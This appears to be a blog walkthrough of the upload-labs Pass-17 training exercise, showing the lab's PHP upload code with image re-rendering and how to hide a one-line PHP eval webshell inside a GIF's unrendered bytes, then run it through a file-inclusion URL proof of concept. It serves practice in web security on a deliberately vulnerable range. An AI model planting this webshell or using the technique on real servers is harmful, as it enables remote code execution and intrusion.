[Network security] upload-labs Pass-17 problem solving detailed analysis

Readers can refer to and subscribe to the column: Upload-Labs shooting range offensive and defensive combat


Antsword Ant Sword

The use of Ant Sword tool can refer to:

[Network Security] AntSword (ant sword) actual combat problem solving detailed analysis (entry)

[Network Security] DVWA's File Upload—AntSword (Ant Sword) attack posture and detailed analysis collection


posture

Backend logic code:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    
    
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
    
    
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
    
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
    
    
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
    
    
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
    
    
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
    
    
        if(move_uploaded_file($tmpname,$target_path)){
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
    
    
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
    
    
            $msg = "上传出错!";
        }
    }else{
    
    
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传<code>图片马</code>到服务器。</p>
            <p>注意:</p>
            <p>1.保证上传后的图片马中仍然包含完整的<code>一句话</code><code>webshell</code>代码。</p>
            <p>2.使用<a href="<?php echo INC_VUL_PATH;?>" target="_bank">文件包含漏洞</a>能运行图片马中的恶意代码。</p>
            <p>3.图片马要<code>.jpg</code>,<code>.png</code>,<code>.gif</code>三种后缀都上传成功才算过关!</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
    
    
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
    
    
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
    
    
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

<?php
include '../footer.php';
?>

imagecreatefrompng is a function in PHP that is used to create a new image resource object and read data from an image file in PNG format

Since part of the data in the picture will be modified after the second rendering, that is, (A,B,C) may be modified to (A,D,E), then for this limitation, we can find that it is not modified, because Ait It is not filtered, so we modify A to be an injection statement. At this time, the statement will not be filtered, so as to achieve the purpose of command execution.

Let's download a gif image first, and use the Hxd editor to get its image data:

insert image description here


The installation link of HxD Hex Editor tool:HxD tool instructions detailed tutorial | CSDN@秋说


Then upload the gif to get the image after the second rendering:

insert image description here

Then save the image as 8479.gif and view it with the Hxd editor:

insert image description here

It can be seen that since 00000190, the data is rendered twice, that is to say, the data before this row will not be rendered.

So we insert a sentence Trojan horse:

<?php @eval($_REQUEST[1]);?>

insert image description here

Save changes:

insert image description here

Then re-upload the gif:

insert image description here

Find the file path:

insert image description here

Since there is a file inclusion vulnerability in the shooting range, we can use the file inclusion command to execute:

insert image description here

POC:

http://localhost/upload-labs-master/include.php?file=upload/11078.gif&1=phpinfo();

The command executes successfully:

insert image description here


Summarize

The above is the detailed analysis of [Network Security] upload-labs Pass-17 problem solving, and the detailed analysis of [Network Security] xss-labs Pass-18 problem solving will be shared later.

I am Qiu said , see you next time.

Guess you like

Origin blog.csdn.net/2301_77485708/article/details/132367733